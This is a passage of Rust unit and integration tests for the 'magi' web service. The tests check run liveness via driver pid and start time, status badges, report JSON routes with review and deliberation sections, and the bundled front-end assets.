18493        };
18494        write(
18495            "20260930-092817-ec34",
18496            Some(crate::run::Origin::from_agent_env(
18497                Some(("4a7b".to_owned(), "chat".to_owned())),
18498                None,
18499            )),
18500            None,
18501        );
18502        write("20260930-092817-0ld1", None, Some(12));
18503
18504        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18505        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18506        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18507
18508        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18509        assert_eq!(
18510            old["origin_label"], "origin unknown (started before origins were recorded)",
18511            "{old}"
18512        );
18513        assert!(old["origin"].is_null(), "{old}");
18514
18515        let list = f.get("/api/runs").await.json();
18516        let labels: Vec<_> = list
18517            .as_array()
18518            .unwrap()
18519            .iter()
18520            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18521            .collect();
18522        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18523    }
18524
18525    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
18526    /// review` claims no daemon at all, so before this field existed the
18527    /// route above read it as `"dead"` — indistinguishable from a run a
18528    /// killed process abandoned — the whole time it was genuinely still
18529    /// answering. With a live pid recorded, it must read `"live"` even
18530    /// though no daemon claims it.
18531    #[tokio::test]
18532    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18533        let f = Fixture::start().await;
18534        let id = "20260922-090000-cccc";
18535        let mut state = RunState::new(
18536            PathBuf::from("/repo/magi"),
18537            "main".to_owned(),
18538            "0123456789abcdef".to_owned(),
18539            "Review only".to_owned(),
18540            Config::default(),
18541        );
18542        state.id = id.to_owned();
18543        state.status = RunStatus::Reviewing;
18544        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18545        // This test process's own pid: guaranteed alive, and never needs a
18546        // real daemon or a second process to prove it. The matching start-time
18547        // marker is what `liveness` now requires alongside a live pid — see
18548        // `RunState::driver_started_at`'s own doc for why the pid alone is
18549        // not enough.
18550        state.driver_pid = Some(std::process::id());
18551        state.driver_started_at = Some(
18552            crate::proc::process_started_at(std::process::id())
18553                .expect("this test process's own start time must be queryable"),
18554        );
18555        let dir = f.runs().join(id);
18556        std::fs::create_dir_all(&dir).expect("run dir");
18557        std::fs::write(
18558            dir.join("run.json"),
18559            serde_json::to_string_pretty(&state).expect("serialize run"),
18560        )
18561        .expect("write run.json");
18562
18563        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18564        assert_eq!(detail["live"], "live", "{detail}");
18565    }
18566
18567    /// A killed manual run's pid can be handed to a wholly unrelated later
18568    /// process — a live query on `driver_pid` alone would read this as
18569    /// `"live"`, exactly the false positive `driver_started_at` exists to
18570    /// catch (see that field's own doc, and `RunState::liveness_with`'s
18571    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
18572    #[tokio::test]
18573    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18574        let f = Fixture::start().await;
18575        let id = "20260922-090100-dddd";
18576        let mut state = RunState::new(
18577            PathBuf::from("/repo/magi"),
18578            "main".to_owned(),
18579            "0123456789abcdef".to_owned(),
18580            "Review only".to_owned(),
18581            Config::default(),
18582        );
18583        state.id = id.to_owned();
18584        state.status = RunStatus::Reviewing;
18585        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18586        // This test process's own pid really is alive, but the marker
18587        // recorded here does not match what it actually started at —
18588        // standing in for the pid having since been reused by a different
18589        // process than the one that wrote `run.json`.
18590        state.driver_pid = Some(std::process::id());
18591        state.driver_started_at = Some("1".to_owned());
18592        let dir = f.runs().join(id);
18593        std::fs::create_dir_all(&dir).expect("run dir");
18594        std::fs::write(
18595            dir.join("run.json"),
18596            serde_json::to_string_pretty(&state).expect("serialize run"),
18597        )
18598        .expect("write run.json");
18599
18600        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18601        assert_eq!(detail["live"], "dead", "{detail}");
18602    }
18603
18604    /// The deck's competition list is normally the first place an operator
18605    /// sees an old run. It must carry the same process verdict as detail, or
18606    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
18607    #[test]
18608    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18609        let mk = |id: &str, pid: Option<u32>| {
18610            let mut s = RunState::new(
18611                PathBuf::from("/repo/magi"),
18612                "main".to_owned(),
18613                "0123456789abcdef".to_owned(),
18614                "Add a web UI".to_owned(),
18615                Config::default(),
18616            );
18617            s.id = id.to_owned();
18618            s.driver_pid = pid;
18619            s.driver_started_at = Some("1790000000".to_owned());
18620            s
18621        };
18622        let states = vec![
18623            mk("20260902-140502-aaaa", Some(77)),
18624            mk("20260902-140502-bbbb", Some(77)),
18625            mk("20260902-140502-cccc", Some(77)),
18626            mk("20260902-140502-dddd", None),
18627        ];
18628        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18629        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18630        let sup: HashMap<String, String> = [(
18631            "20260902-140502-aaaa".to_owned(),
18632            "20260902-140502-cccc".to_owned(),
18633        )]
18634        .into();
18635
18636        let status_calls = std::cell::Cell::new(0);
18637        let identity_calls = std::cell::Cell::new(0);
18638        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18639            |_| {
18640                status_calls.set(status_calls.get() + 1);
18641                Some(true)
18642            },
18643            |_| {
18644                identity_calls.set(identity_calls.get() + 1);
18645                Some("1790000000".to_owned())
18646            },
18647        ));
18648        let rows = summarize(
18649            states,
18650            &open,
18651            &claimed,
18652            &sup,
18653            |p| probe.borrow_mut().status(p),
18654            |p| probe.borrow_mut().started_at(p),
18655        );
18656
18657        assert_eq!(status_calls.get(), 1, "one pid, one status query");
18658        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18659        assert_eq!(rows.len(), 4);
18660        assert!(!rows[0].waiting && rows[1].waiting);
18661        assert_eq!(rows[0].live, crate::run::Liveness::Live);
18662        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18663        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18664        assert_eq!(rows[1].superseded_by, None);
18665    }
18666
18667    #[test]
18668    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18669        let mut state = RunState::new(
18670            PathBuf::from("/repo/magi"),
18671            "main".to_owned(),
18672            "0123456789abcdef".to_owned(),
18673            "Review only".to_owned(),
18674            Config::default(),
18675        );
18676        state.id = "20260922-090200-dead".to_owned();
18677        state.status = RunStatus::Reviewing;
18678        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18679            .expect("serialize list row");
18680        assert_eq!(row["status"], "reviewing");
18681        assert_eq!(row["display_status"], "stale");
18682        assert_eq!(row["live"], "dead", "{row}");
18683        assert!(!row["done"].as_bool().unwrap());
18684    }
18685
18686    #[test]
18687    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18688        use crate::run::Liveness::{Dead, Live, Unknown};
18689        let mut state = RunState::new(
18690            PathBuf::from("/repo/magi"),
18691            "main".to_owned(),
18692            "abc".to_owned(),
18693            "Review only".to_owned(),
18694            Config::default(),
18695        );
18696        for (status, parked, node, waiting, live, expected) in [
18697            (
18698                RunStatus::Judging,
18699                true,
18700                "github-text",
18701                false,
18702                Dead,
18703                "parked",
18704            ),
18705            (RunStatus::Judging, false, "park", false, Dead, "stale"),
18706            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18707            (
18708                RunStatus::Judging,
18709                true,
18710                "github-text",
18711                true,
18712                Dead,
18713                "waiting",
18714            ),
18715            (
18716                RunStatus::Judging,
18717                false,
18718                "github-text",
18719                true,
18720                Dead,
18721                "waiting",
18722            ),
18723            (
18724                RunStatus::Judging,
18725                false,
18726                "github-text",
18727                false,
18728                Dead,
18729                "stale",
18730            ),
18731            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18732            (RunStatus::Judging, true, "park", false, Live, "judging"),
18733            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18734            (RunStatus::Merged, true, "park", false, Dead, "merged"),
18735            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18736            (
18737                RunStatus::Blocked,
18738                true,
18739                "github-text",
18740                true,
18741                Dead,
18742                "waiting",
18743            ),
18744        ] {
18745            state.status = status;
18746            state.parked = parked;
18747            state.events.clear();
18748            state.event(
18749                "park",
18750                "an earlier park does not determine the latest state",
18751            );
18752            state.event(node, "message is not used for classification");
18753            let summary = RunSummary::of(&state, waiting, live);
18754            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18755            assert_eq!(
18756                summary.display_status, expected,
18757                "{status:?}/{node}/{live:?}"
18758            );
18759            assert_eq!(detail.display_status, summary.display_status);
18760            assert_eq!(detail.waiting, summary.waiting);
18761        }
18762        state.status = RunStatus::Judging;
18763        state.parked = false;
18764        state.events.clear();
18765        assert_eq!(run_display_status(&state, false, Dead), "stale");
18766    }
18767
18768    #[test]
18769    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18770        use crate::run::Liveness::{Dead, Live, Unknown};
18771        let mut state = RunState::new(
18772            PathBuf::from("/repo/magi"),
18773            "main".to_owned(),
18774            "abc".to_owned(),
18775            "Badge".to_owned(),
18776            Config::default(),
18777        );
18778        for (status, waiting, live, superseded, expected) in [
18779            (RunStatus::Gating, false, Dead, false, "stale"),
18780            (RunStatus::Gating, false, Dead, true, "superseded"),
18781            (RunStatus::Gating, false, Unknown, true, "superseded"),
18782            (RunStatus::Gating, true, Dead, true, "superseded"),
18783            (RunStatus::Gating, true, Dead, false, "waiting"),
18784            (RunStatus::Gating, false, Unknown, false, "gating"),
18785            (RunStatus::Gating, false, Live, true, "gating"),
18786            (RunStatus::Gating, true, Live, true, "waiting"),
18787            (RunStatus::Merged, false, Dead, true, "merged"),
18788            (RunStatus::Blocked, false, Dead, true, "blocked"),
18789        ] {
18790            state.status = status;
18791            let display = run_display_status(&state, waiting, live);
18792            assert_eq!(
18793                run_badge_status(&state, &display, live, superseded),
18794                expected,
18795                "{status:?}/{live:?}/superseded={superseded}"
18796            );
18797        }
18798    }
18799
18800    #[test]
18801    fn summarize_and_detail_expose_badge_status() {
18802        use crate::run::Liveness::Dead;
18803        let mut state = RunState::new(
18804            PathBuf::from("/repo/magi"),
18805            "main".to_owned(),
18806            "abc".to_owned(),
18807            "Badge".to_owned(),
18808            Config::default(),
18809        );
18810        state.status = RunStatus::Gating;
18811        let none = HashSet::new();
18812        let id = state.id.clone();
18813        let mut by = HashMap::new();
18814        let rows = summarize(
18815            [state.clone()],
18816            &none,
18817            &none,
18818            &by,
18819            |_| Some(false),
18820            |_| None,
18821        );
18822        // No driver recorded: liveness is not provably dead, so the node stays.
18823        assert_eq!(rows[0].badge_status, rows[0].display_status);
18824        by.insert(id, "20260901-000000-913b".to_owned());
18825        let detail = RunDetailView::of(
18826            state.clone(),
18827            false,
18828            Dead,
18829            Some("913b".to_owned()),
18830            None,
18831            None,
18832        );
18833        assert_eq!(detail.badge_status, "superseded");
18834        let json = serde_json::to_value(&detail).unwrap();
18835        assert_eq!(json["badge_status"], "superseded");
18836        let detail = RunDetailView::of(state, false, Dead, None, None, None);
18837        assert_eq!(detail.badge_status, "stale");
18838    }
18839
18840    #[tokio::test]
18841    async fn run_display_status_routes_share_the_open_question_store() {
18842        let f = Fixture::start().await;
18843        let id = "20260922-090200-abcd";
18844        write_run(&f.runs(), id, RunStatus::Judging);
18845        let mut state = read_run(&f.runs(), id).unwrap();
18846        state.parked = true;
18847        state.driver_exited = true;
18848        state.event("github-text", "waiting for the owner");
18849        state.save_under(f.home.path()).unwrap();
18850        let mut task = Task::new(
18851            "resumed task".to_owned(),
18852            "do it".to_owned(),
18853            PathBuf::from("/repo"),
18854            Source::Human,
18855        );
18856        task.runs = vec![id.to_owned(), id.to_owned()];
18857        f.queue().put(&mut task).unwrap();
18858        let store = f.questions();
18859        let mut q = Question::new(
18860            id.to_owned(),
18861            "github-text".to_owned(),
18862            "owner".to_owned(),
18863            "Approve the text?".to_owned(),
18864            String::new(),
18865            Vec::new(),
18866        );
18867        store.put(&mut q).unwrap();
18868        for expected in ["waiting", "parked"] {
18869            let list = f.get("/api/runs").await.json();
18870            let detail = f.get(&format!("/api/runs/{id}")).await.json();
18871            assert_eq!(list[0]["display_status"], expected);
18872            assert_eq!(detail["display_status"], expected);
18873            assert_eq!(detail["waiting"], list[0]["waiting"]);
18874            assert_eq!(list[0]["badge_status"], expected);
18875            assert_eq!(detail["badge_status"], expected);
18876            assert!(list[0]["superseded_by"].is_null());
18877            assert!(detail["superseded_by"].is_null());
18878            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18879            let history = task_detail["history"].as_array().unwrap();
18880            assert_eq!(history.len(), 2);
18881            assert!(history[0]["badge"].is_null());
18882            assert_eq!(history[1]["badge"], expected);
18883            q.status = ask::QuestionStatus::Answered;
18884            store.put(&mut q).unwrap();
18885        }
18886    }
18887
18888    #[tokio::test]
18889    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18890        let f = Fixture::start().await;
18891        let id = "20260922-090200-abcd";
18892        write_run(&f.runs(), id, RunStatus::Judging);
18893        let mut state = read_run(&f.runs(), id).unwrap();
18894        state.parked = true;
18895        state.driver_exited = true;
18896        state.event("park", "stopped at a node boundary");
18897        state.save_under(f.home.path()).unwrap();
18898
18899        for expected in ["parked", "stale"] {
18900            let list = f.get("/api/runs").await.json();
18901            let detail = f.get(&format!("/api/runs/{id}")).await.json();
18902            assert_eq!(list[0]["live"], "dead");
18903            assert_eq!(list[0]["display_status"], expected);
18904            assert_eq!(detail["display_status"], expected);
18905            // Model a driver claim followed by a crash before the next event:
18906            // the persisted flag changes, but the last event is still park.
18907            state.parked = false;
18908            state.save_under(f.home.path()).unwrap();
18909        }
18910    }
18911
18912    #[tokio::test]
18913    async fn the_run_list_is_newest_first_and_honours_a_limit() {
18914        let f = Fixture::start().await;
18915        for id in [
18916            "20260902-140501-aaaa",
18917            "20260902-140502-bbbb",
18918            "20260902-140503-cccc",
18919        ] {
18920            write_run(&f.runs(), id, RunStatus::Merged);
18921        }
18922
18923        let all = f.get("/api/runs").await.json();
18924        let capped = f.get("/api/runs?limit=2").await.json();
18925
18926        assert_eq!(all[0]["id"], "20260902-140503-cccc");
18927        assert_eq!(all.as_array().map(Vec::len), Some(3));
18928        assert_eq!(capped.as_array().map(Vec::len), Some(2));
18929        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18930    }
18931
18932    #[tokio::test]
18933    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18934        let f = Fixture::start().await;
18935        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18936
18937        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18938
18939        assert_eq!(res.status, 200);
18940        assert!(
18941            res.headers
18942                .contains("content-type: text/plain; charset=utf-8"),
18943            "a browser must render it, not download it: {}",
18944            res.headers
18945        );
18946        // The assertion is on content, not on the absence of escapes: colour
18947        // is a process-global that `serve` turns off at startup, and another
18948        // test in this binary may own it while this one runs.
18949        assert!(
18950            res.body.contains("20260902-140501-a1b2"),
18951            "the report is about the run that was asked for: {}",
18952            res.body
18953        );
18954    }
18955
18956    #[tokio::test]
18957    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18958        // The view names the run's state directory, which reads the process-global home.
18959        crate::run::pin_test_home();
18960        let f = Fixture::start().await;
18961        let id = "20260902-140501-a1b2";
18962        write_run(&f.runs(), id, RunStatus::Stalled);
18963        // A stalled panel and one review round, written through the real
18964        // state file so the route reads what a run really leaves behind.
18965        let path = f.runs().join(id).join("run.json");
18966        let mut v: serde_json::Value =
18967            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18968        v["tally"] = serde_json::json!({
18969            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18970            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18971            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18972            "met_quorum": false, "rankings": 1
18973        });
18974        v["reviews"] = serde_json::json!([{
18975            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18976            "e2e_deferred": true,
18977            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18978                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18979            ]}]
18980        }]);
18981        std::fs::write(&path, v.to_string()).unwrap();
18982        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18983        std::fs::write(
18984            f.runs().join("20260902-140502-dead").join("run.json"),
18985            "{not json",
18986        )
18987        .unwrap();
18988
18989        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18990
18991        assert_eq!(res.status, 200, "{}", res.body);
18992        assert!(res.headers.contains("content-type: application/json"));
18993        let j = res.json();
18994        assert_eq!(j["schema"], 1);
18995        assert_eq!(j["header"]["id"], id);
18996        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18997        let kinds: Vec<&str> = j["sections"]
18998            .as_array()
18999            .unwrap()
19000            .iter()
19001            .map(|s| s["kind"].as_str().unwrap())
19002            .collect();
19003        assert_eq!(kinds, ["candidates", "tally", "review"]);
19004        let tally = &j["sections"][1]["tally"];
19005        assert_eq!(
19006            (tally["decided"].clone(), tally["provisional"].clone()),
19007            (false.into(), true.into())
19008        );
19009        let round = &j["sections"][2]["rounds"][0];
19010        assert_eq!(round["e2e"]["state"], "deferred");
19011        assert_eq!(round["findings"][0]["severity"], "major");
19012        assert_eq!(round["findings"][0]["blocking"], true);
19013        assert_eq!(round["findings"][0]["state"], "open");
19014
19015        // The raw route keeps working beside it.
19016        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19017
19018        // An unreadable run is an error, as on the text route, and is counted.
19019        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19020        assert_ne!(bad.status, 200, "{}", bad.body);
19021        assert_eq!(
19022            bad.status,
19023            f.get("/api/runs/20260902-140502-dead/report").await.status
19024        );
19025        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19026        assert_eq!(
19027            f.get("/api/runs/20260902-999999-ffff/report.json")
19028                .await
19029                .status,
19030            404
19031        );
19032    }
19033
19034    #[tokio::test]
19035    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19036        crate::run::pin_test_home();
19037        let f = Fixture::start().await;
19038        let id = "20260902-140503-delib";
19039        write_run(&f.runs(), id, RunStatus::Merged);
19040        let path = f.runs().join(id).join("run.json");
19041        let mut v: serde_json::Value =
19042            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19043        v["judgements"] = serde_json::json!([
19044            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19045        ]);
19046        v["tally"] = serde_json::json!({
19047            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19048            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19049            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19050            "met_quorum": true, "rankings": 1
19051        });
19052        v["deliberation"] = serde_json::json!([
19053            {
19054                "round": 1,
19055                "turns": [
19056                    {
19057                        "judge": 1,
19058                        "agent": "judge-1",
19059                        "body": "I prefer candidate **A** because it has cleaner tests.",
19060                        "tentative": "A"
19061                    }
19062                ]
19063            },
19064            {
19065                "round": 2,
19066                "turns": [
19067                    {
19068                        "judge": 1,
19069                        "agent": "judge-1",
19070                        "body": "Still thinking, no choice yet.",
19071                        "tentative": null
19072                    }
19073                ]
19074            }
19075        ]);
19076        std::fs::write(&path, v.to_string()).unwrap();
19077
19078        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19079        assert_eq!(res.status, 200, "{}", res.body);
19080        let j = res.json();
19081        let judging = j["sections"]
19082            .as_array()
19083            .unwrap()
19084            .iter()
19085            .find(|s| s["kind"] == "judging")
19086            .expect("judging section exists");
19087
19088        // Existing summary lines remain intact
19089        let delib_lines = judging["deliberation"].as_array().unwrap();
19090        assert_eq!(delib_lines.len(), 2);
19091        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19092        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19093
19094        // rounds carry turn bodies, tentative and parsed body_md
19095        let rounds = judging["rounds"].as_array().unwrap();
19096        assert_eq!(rounds.len(), 2);
19097        let r1_t0 = &rounds[0]["turns"][0];
19098        assert_eq!(r1_t0["judge"], 1);
19099        assert_eq!(r1_t0["agent"], "judge-1");
19100        assert_eq!(r1_t0["tentative"], "A");
19101        assert_eq!(
19102            r1_t0["body"],
19103            "I prefer candidate **A** because it has cleaner tests."
19104        );
19105        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19106
19107        let r2_t0 = &rounds[1]["turns"][0];
19108        assert_eq!(r2_t0["judge"], 1);
19109        assert_eq!(r2_t0["agent"], "judge-1");
19110        assert!(r2_t0["tentative"].is_null());
19111        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19112        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19113
19114        // A run with empty deliberation array yields empty rounds
19115        let id_empty = "20260902-140504-nodelib";
19116        write_run(&f.runs(), id_empty, RunStatus::Merged);
19117        let path_empty = f.runs().join(id_empty).join("run.json");
19118        let mut v_empty: serde_json::Value =
19119            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19120        v_empty["judgements"] = serde_json::json!([
19121            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19122        ]);
19123        v_empty["deliberation"] = serde_json::json!([]);
19124        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19125
19126        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19127        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19128        let j_empty = res_empty.json();
19129        let judging_empty = j_empty["sections"]
19130            .as_array()
19131            .unwrap()
19132            .iter()
19133            .find(|s| s["kind"] == "judging")
19134            .expect("judging section exists");
19135        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19136    }
19137
19138    #[tokio::test]
19139    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19140        let f = Fixture::start().await;
19141
19142        let html = f.get("/").await;
19143        let css = f.get("/app.css").await;
19144        let js = f.get("/app.js").await;
19145
19146        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19147        assert!(
19148            html.headers
19149                .contains("content-type: text/html; charset=utf-8")
19150        );
19151        assert!(css.headers.contains("content-type: text/css"));
19152        assert!(js.headers.contains("content-type: text/javascript"));
19153        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19154    }
19155
19156    #[test]
19157    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19158        let body = |name: &str| {
19159            let at = APP_JS
19160                .find(name)
19161                .unwrap_or_else(|| panic!("{name} missing"));
19162            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19163        };
19164        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19165        let note = body("function landRoundNote");
19166        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19167        assert!(note.contains("Land round ${round}"));
19168        let land = body("function renderLand");
19169        let note_at = land
19170            .find("landRoundNote(pr)")
19171            .expect("renderLand uses the note");
19172        assert!(
19173            note_at
19174                < land
19175                    .find("roundRail(pr)")
19176                    .expect("renderLand uses the rail")
19177        );
19178    }
19179
19180    #[test]
19181    fn the_runs_page_redesign_keeps_its_guards() {
19182        let body = |name: &str| {
19183            let at = APP_JS
19184                .find(name)
19185                .unwrap_or_else(|| panic!("{name} missing"));
19186            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19187        };
19188        // A null child must never reach the native append (it prints "null").
19189        let land = body("function renderLand");
19190        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19191        assert!(
19192            !land.contains("box.append("),
19193            "renderLand must use append()"
19194        );
19195        assert!(land.contains("append(box, ["));
19196        // Tabs are hash routes; the run id alone decides a reload.
19197        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19198        assert!(
19199            body("function applyRoute")
19200                .contains("route.name !== state.route.name || route.id !== state.route.id")
19201        );
19202        // The decorative diagram is gone, the strip and its guards stay.
19203        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19204        assert!(!INDEX_HTML.contains("advise-converge"));
19205        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19206        assert!(APP_JS.contains("provisional"));
19207        for id in [
19208            "run-tab-overview",
19209            "run-tab-timeline",
19210            "run-tab-report",
19211            "run-report",
19212            "runs-scope",
19213        ] {
19214            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19215        }
19216        assert!(!INDEX_HTML.contains("runs-tree"));
19217        assert!(!INDEX_HTML.contains("run-raw-panel"));
19218        // Fold still says it cannot be resumed.
19219        assert!(APP_JS.contains("resume"));
19220        // The unreadable-runs count stays on the page.
19221        assert!(APP_JS.contains("unreadable"));
19222    }
19223
19224    #[test]
19225    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19226        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19227        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19228        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19229        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19230        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19231        // The subtitle still counts them whatever the banner does.
19232        assert!(APP_JS.contains("unreadable` : null"));
19233    }
19234
19235    #[test]
19236    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19237        let mut state = RunState::new(
19238            "/repo".into(),
19239            "main".into(),
19240            "abc".into(),
19241            "task".into(),
19242            crate::config::Config::default(),
19243        );
19244        state.status = RunStatus::Blocked;
19245        state.gate_ran = true;
19246        state.gate.push(crate::run::CommandOutcome {
19247            command: "cargo make check".into(),
19248            code: Some(1),
19249            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19250            duration_ms: 0,
19251            resource_blocked: false,
19252        });
19253        let view = RunDetailView::of(
19254            state,
19255            false,
19256            crate::run::Liveness::Unknown,
19257            None,
19258            None,
19259            None,
19260        );
19261        let value = serde_json::to_value(view).unwrap();
19262        assert_eq!(
19263            value["stop_reason"],
19264            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19265        );
19266    }
19267
19268    #[test]
19269    fn the_run_detail_payload_says_whether_the_run_is_done() {
19270        // `landView` reads `run.done`; the detail response must carry it.
19271        for (status, done) in [
19272            (RunStatus::Superseded, true),
19273            (RunStatus::Blocked, true),
19274            (RunStatus::Landing, false),
19275        ] {
19276            let mut state = RunState::new(
19277                std::path::PathBuf::from("/repo"),
19278                "main".to_owned(),
19279                "abc".to_owned(),
19280                "x".to_owned(),
19281                crate::config::Config::default(),
19282            );
19283            state.status = status;
19284            let v = serde_json::to_value(RunDetailView::of(
19285                state,
19286                false,
19287                crate::run::Liveness::Unknown,
19288                None,
19289                None,
19290                None,
19291            ))
19292            .unwrap();
19293            assert_eq!(v["done"], done, "{status:?}");
19294        }
19295    }
19296
19297    /// The first node of a markdown block holds a `strong` somewhere.
19298    fn has_strong(nodes: &[md::Node]) -> bool {
19299        serde_json::to_string(nodes).unwrap().contains("strong")
19300    }
19301
19302    #[test]
19303    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19304        let mut state = RunState::new(
19305            std::path::PathBuf::from("/repo"),
19306            "main".to_owned(),
19307            "abc".to_owned(),
19308            "x".to_owned(),
19309            crate::config::Config::default(),
19310        );
19311        let proposal = |approach: &str| {
19312            serde_json::json!({
19313                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19314            })
19315        };
19316        state.advice = Some(
19317            serde_json::from_value(serde_json::json!({
19318                "records": [
19319                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19320                     "proposal": proposal("do **this**")},
19321                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19322                ],
19323                "synthesis": "- one\n- **two**\n\n`code`",
19324            }))
19325            .unwrap(),
19326        );
19327        state.candidates = serde_json::from_value(serde_json::json!([
19328            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19329             "summary": "did **it**"},
19330            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19331        ]))
19332        .unwrap();
19333        // Recorded in ascending severity, the reverse of how the page sorts
19334        // them: the arrays must follow the record, not the display.
19335        state.reviews = serde_json::from_value(serde_json::json!([{
19336            "round": 1, "head": "h",
19337            "reviews": [{
19338                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19339                "findings": [
19340                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
19341                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19342                ],
19343            }],
19344            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19345            "fix": {"agent": "a", "notes": "fixed **it**",
19346                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19347        }, {"round": 2, "head": "h2", "reviews": []}]))
19348        .unwrap();
19349
19350        let v = serde_json::to_value(RunDetailView::of(
19351            state,
19352            false,
19353            crate::run::Liveness::Unknown,
19354            None,
19355            None,
19356            None,
19357        ))
19358        .unwrap();
19359
19360        let strong = |p: &str| {
19361            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
